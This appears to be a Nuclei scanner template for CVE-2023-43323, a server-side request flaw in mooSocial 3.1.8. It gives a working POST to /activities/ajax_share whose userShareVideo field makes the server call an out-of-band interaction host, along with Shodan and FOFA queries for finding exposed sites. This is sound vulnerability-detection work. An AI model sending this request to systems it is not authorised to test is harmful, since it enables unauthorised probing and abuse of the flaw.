id: CVE-2023-43323

info:
  name: mooSocial 3.1.8 - External Service Interaction
  author: ritikchaddha
  severity: medium
  description: |
    mooSocial 3.1.8 is vulnerable to external service interaction via multiple parameters in the post function.
  impact: |
    An attacker can exploit this vulnerability to interact with external services.
  remediation: |
    Upgrade to a patched version of mooSocial to mitigate CVE-2023-43323.
  reference:
    - https://github.com/ahrixia/CVE-2023-43323
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://nvd.nist.gov/vuln/detail/CVE-2023-43323
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2023-43323
    epss-score: 0.0186
    epss-percentile: 0.76478
    cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: moosocial
    product: moostore
    shodan-query: http.favicon.hash:702863115clear
    fofa-query:
      - mooSocial
      - moosocial
      - icon_hash="702863115"
  tags: cve,cve2023,moosocial,oast,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "mooConfig"
        internal: true

  - raw:
      - |
        POST /activities/ajax_share HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        [data%5Btype%5D=User&data%5Btarget_id%5D=0&data%5Baction%5D=wall_post&data%5Bwall_photo%5D=&data%5Bsubject_type%5D=&messageText=asas&data%5BuserShareLink%5D=&data%5BuserShareVideo%5D=http://{{interactsh-url}}%2F%3Fnull&data%5BuserTagging%5D=&data%5BshareImage%5D=1&data%5Bprivacy%5D=1]

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
# digest: 4a0a00473045022100db81ac7a7075ee35f15103391e03365da9d689d2e57ed0c3552ef77dbd28b4bb022016958093f9ab0f98cfc23cf7ea33d0b4e35b6a7b9aaa483b222b3a3cccb49c8c:922c64590222798bb761d5b6d8e72950